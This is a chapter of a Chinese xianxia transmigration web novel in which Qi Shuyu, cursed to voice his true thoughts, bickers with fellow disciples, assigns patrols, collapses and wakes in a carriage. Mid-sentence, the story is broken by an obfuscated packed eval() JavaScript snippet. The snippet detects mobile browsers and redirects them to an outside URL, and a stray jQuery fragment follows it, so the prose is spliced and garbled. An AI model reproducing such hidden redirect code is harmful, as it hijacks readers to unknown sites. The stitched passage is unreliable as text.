“齐师兄!薛哥哥!”


    光听声音就能知道是个美女的上官玲珑率先发现两人,元气满满地招手道:“你们切磋得如何?”


    齐舒玉与薛殷对视一眼。


    “肯定是云岁鸿给咱俩打掩……可恶他穿这身真的要把老子比下去了云岁鸿找的借口还挺好一会儿千万别戳穿他。”


    少年面无表情地垂眸,


    不知道在看哪里。


    齐舒玉脸上升起几分热意,在少年平静无澜的眸光中暴躁地揉碎两片树叶,凑到他鼻尖恶狠狠地威胁道:“操!老子现在只能说真心话但不一定是事实知道吗?!你也别太得意了否则别怪我拿你没什么办法!”


    说罢,他把少年往树上一推,独身走了出去。


    啊啊啊啊啊啊啊啊啊啊啊。


    啊啊啊啊啊啊啊!


    放出这种狠话真的好丢脸啊!!!!


    “齐师兄——”上官玲珑蹦蹦跳跳着上前,甜甜地笑道:“快半个时辰没见到你了!弟子们这会儿也都在找你呢,商量今晚如何度过。”


    齐舒玉思绪回笼。


    哦对。


    还有一百五个烂摊子要收拾。


    他幽怨地叹口气,


    愁得头发都掉了两根。


    “真想让小师妹软软的扑进怀里。”


    上官玲珑笑容僵住:“齐师兄???”


    齐舒玉:“!!!!!”


    不、不是!


    老天爷我不会再叫你一声爷了!


    “师姐,”亦步亦趋跟过来的薛殷插声道:“太晚了,我们回吧。”


    他一把揪住青年衣领,拎着虽活犹死的躯体继续往前走。路过伫立在一旁的高大剑士时,


    停住脚步。


    二人明明身高与形体都要差上些许,在夜色的遮掩下却生出难分伯仲的错觉来。


    “他已尽数相告于我,这段时日有劳大师兄了。”


    “薛师弟何意。”


    剑士偏了偏头,仿佛正隔着黑布与少年对视,语气极淡。他这一声似是唤回了青年的神志,隔着少年,楞楞地伸出手:“大师兄—”


    少年把这手又不动声色地按了回去。


    脚下一扫,


    将失去重心的青年拦腰搭在自己臂弯之间。


    齐舒玉:“????”


    当我是什么很没面子的折叠屏吗?


    视野变换几番后,他被放下来。


    颈后的软肉被温热掌心托住,薛殷用了些力,迫使他回头,声音里难得有一丝柔软:


    “记住,这便是三里。”


    黑灯瞎火的看得到个屁啊。


    齐舒玉点点头。


    “他瘦得跟鸡崽一样力气也太大了吧真他妈是变态啊。”


    薛殷:“……”


    两秒后,


    齐舒玉拔剑就往回飞。


    “啊啊啊啊啊啊有没有人来救救你爹啊!”


    ——


    “你躲去哪儿了?”刚出现在火光明亮的空地处,花怒娇就冷飕飕地闪到齐舒玉眼前,眯着眼道:“留我们原地等候,首席真是好大的威风。”


    “尿尿,”齐舒玉不耐烦地解释:“你要觉得不公平你也去尿。”


    “你!”花怒娇一副有气但发作不出来的模样:“……卑鄙下流!”


    “师姐莫动怒,”眼圈奇黑面色苍白的青年上前:“首席实力不佳,尚未结丹,我们还需多包涵才是。”


    这家伙继承了他师傅常广的衣钵,讲话一直怪里怪气的,加上常广和白平飞积怨已久,平时碰面齐舒玉也不太爱搭理他。


    但对方却不依不饶地打量着齐舒玉:“去了这般久,首席可是伤到根子了?”


    “——放屁吧你郭瑞!你就是嫉妒老子还有根!死太监尿不出来吧!”


    “真乃笑话,首席明明是没有结丹辟谷的实力,怎还污蔑起同门来了,你我都是男子,劝师弟莫要讳疾忌医。”


    夹在中间的花怒娇头顶冒烟,运起灵力,给了一人一巴掌:“够了,我没空听你们讲些腌臢话。”


    被打飞出去的时候,郭瑞砸进了远处的土屋里,而齐舒玉被后面跟上来的云岁鸿接住了。


    很幸运。


    倒在云岁鸿怀里,


    重伤程度是要远甚郭瑞的。


    他“哇”地吐出一口血沫。


    “齐师兄!”上官玲珑惊呼:“我帮你疗伤吧!”


    齐舒玉还来不及喊痛,


    当即面露惊恐。


    ——连你也要收拾我是吧?!


    他可不想被魔蛊在身的女主将今晚的“有惊无险”变成“极度危险”,立刻从云岁鸿胳膊上跳下来,抓住上官玲珑娇若无骨的小手,脚生灵力奔回火光中,搂着她正色道:“开会要紧!”


    被一圈人围着,上官玲珑的脸红了又红,想把手抽回来:“齐、齐师兄!”


    齐舒玉吐出猛男气泡音制止她:“别闹。”


    不知道为什么,


    刚刚那口血吐出来之后他格外想上班。


    没来由的焦虑促使他把怀里软软的东西抱得更紧了些。


    “真当此行是游山玩水么,”花怒娇大翻白眼,咬牙道:“不若你们滚回墨君山去卿卿我我——”


    她的话被打断。


    “既然每队有十五人,那么你们各自将手里的弟子分为三组,一组内至少要有两名弟子可御剑防守上空,两名弟子巡逻下方阵地,再择五人中实力最佳的从旁辅助,”


    齐舒玉的心不受控制地咚咚跳,肾上腺素狂飙道:


    “听清楚了么?!如果弟子里南宗和北宗的数量过于不均,需要立马汇报,接下去的几天,不出问题的话就按照这方法,三组轮番巡岗,每日共五十人当值,于午时交守。”


    说完,他皱眉:“愣着干嘛,不是要听我的发言么?!我说完了,倒是动啊?!”


    李二一手抱剑,一手摸摸后脑勺应和道:“那也行,先这样吧。”


    他0帧起走,


    花怒娇还来不及挑刺就失了先机,冷哼:“使唤人倒是学得快。”


    其余人面面相觑了会儿,打量着齐舒玉和他怀里的上官玲珑,神色轻蔑嘲弄,但见李二和花怒娇已然动身,到底还是没多说什么。


    “首席聪慧,”郭瑞临走前视线还黏糊在上官玲珑的脸上,拱手道:“想了个大家都能想出来的主意。”


    齐舒玉掀起眼皮:“不聪明点怎么当首席呢,你想当都当不上。”


    “你!好——好好。”


    “觉得好你就学着点。”


    “——好!”郭瑞咬牙:“那且看首席能怎般让人好生学着!”


    待人都走后,


    齐舒玉那颗跳动不止的心才渐渐停歇。


    他捂着胸口,


    觉得有些闷闷的。


    刚才那一下真是把他砸坏了。


    上官玲珑见状急忙上前扶住他:“齐师兄,我——”


    “别。你现在灵力不多,留着能派上用场的时候再说吧。”齐舒玉难受地挥开她,紧紧抓着衣襟,大口大口喘着气,慢慢跪了下去,额上沁出密密麻麻的冷汗。


    ……身体里的血液像是煮开的水,


    咕嘟咕嘟冒着蒸腾的热气。


    齐舒玉无比清晰地听见了上官玲珑慌乱的叫魂声:“齐师兄?齐师兄——”


    完了。


    是目标人物得绝症的常见体现手法!


    昏过去前,


    高大的剑士和冷峻少年出现在最后的视野中,一左一右拉着少女。


    “无碍,师妹。”


    “交予我吧,师姐。”


    ????


    把妹会不会太敬业了点?!


    真的不把炮灰当兄弟看吗?


    **


    在摇晃中,一抹刺眼的光照得齐舒玉眼前发红。


    他砸砸嘴,


    翻了个身嘟囔道:“把灯关上!”


    “齐师兄!呜呜呜呜你终于醒了!”熟悉的少女哭丧声在耳


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14710184|157102||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    边响起:“他们都安慰我说你只是睡着了,我不信!呜呜呜呜你肯定是有事瞒着我!”


    彻底清醒的齐舒玉翻身坐起来。


    偌小的马车里挤满了人。


    吴忧、薛殷、上官玲珑、玉婉柔、燕问雨、云岁鸿和他。


    一共八个。


    因为云岁鸿顶俩上官玲珑。


    难怪他一个伤患只能躺地板呢。


    坐在两边的薛殷和云岁鸿同时朝他伸出了手。


    “????”齐舒玉左看右看了会儿,大脑陡然才思泉涌,瞪大眼睛爬起来,指着鼻子一言难尽道:“我修仙的,也得绝症了?”


    那这里的修仙到底在修什么啊?!


    上官玲珑被他的话刺激到,嘤嘤嘤着扑进他怀里:“呜呜呜师兄,玲珑好没用!什么都没探出来!”


    齐舒玉重新开始呼吸。


    原来‘有惊无险’在这里等着的。


    太好了。


    被灌水章救了。


    玉婉柔将少女拉回来轻声安慰:“既然皇甫师弟也赞你医术高明,远超他之上,那么舒玉必定是没事的,不必多虑。”


    “???!!等等,”一口气没吸到底的齐舒玉变了脸色:“你用灵力了?!”


    燕问雨点头。


    “看样子你也知道了——下山前皇甫师弟曾秘音于我,玲珑每番使用灵力时,便会损伤她的性命,叮嘱我们不到万不得已莫让玲珑出手。但昨夜我们几人确实探查不出你的异样,玲珑又十分担心……”


    上官玲珑在玉婉柔怀里哭得更大声:“呜呜呜呜难怪师尊总是不允我用灵力,他这般瞒着我,一定是用心良苦呜呜呜——”


    齐舒玉:“……”


    难怪有了‘徒弟的医术比师傅高’这个离谱设定还留着皇甫成华,他连不出场的时候都挺管用的。


    不然就上官玲珑这个脑子,一旦知道魔蛊的存在,肯定会想用更多灵力拔除它。


    那大家就全完了!


    不过……


    看起来她用灵力应该是有段时间了吧。


    齐舒玉借着伸懒腰撩开帘子向外张望。


    风和日丽。


    青山绿水。


    鸟语花香。


    怎么没出事?


    “婉柔,舒玉醒了,那我们便回吧,”意识到车厢过于拥挤的燕问雨开口提议道:“有岁鸿和吴师弟在这,想来不会有异。”


    玉婉柔摸着上官玲珑的发梢,微笑着道了声好。


    齐舒玉忍不住再次瞟了眼‘母女二人’。


    她脾气真不错。


    上官玲珑也是真能哭啊。


    吴忧斟酌道:“师姐离去得这般早么,实在惋惜,左右留岁鸿与舒玉一起也不出岔子,师弟还有……”


    “我单土灵根,你三灵根,问我也是无用。”


    燕问雨朝吴忧举起拳头,


    他的山羊胡抽了抽,默默不吱声了。


    燕问雨环视一圈,


    停在薛殷身上。


    她叫不出少年的名字,眼神里有一瞬尴尬。


    薛殷主动开口道:“弟子薛殷,与齐师兄有事相告。”


    燕问雨又看向齐舒玉。


    齐舒玉点头。


    薛殷在也好,看他和云岁鸿不太对付的样子,应该会帮忙在云岁鸿那里给他打掩护。光凭他自己,迟早会露馅。


    见薛殷留下,上官玲珑也哭天抹泪地要留下来,于是燕问雨和玉婉柔不再多言,掀开摇摇晃晃的车帘跳下去。


    两人离开后,


    吴忧当即从薛殷旁边的角落换到中间去,长长松了口气。


    上官玲珑也落坐回了薛殷身边。


    不得已又和硬邦邦的云岁鸿挤在一起,齐舒玉怨念地盯着对面的薛殷。他也想和上官玲珑坐在一起,香香软软的还不占空间。


    少年眼神古波无澜,眉尖几不可见地一挑。


    没放过他丁点表情的齐舒玉:“!”


    挑衅!


    他在挑衅!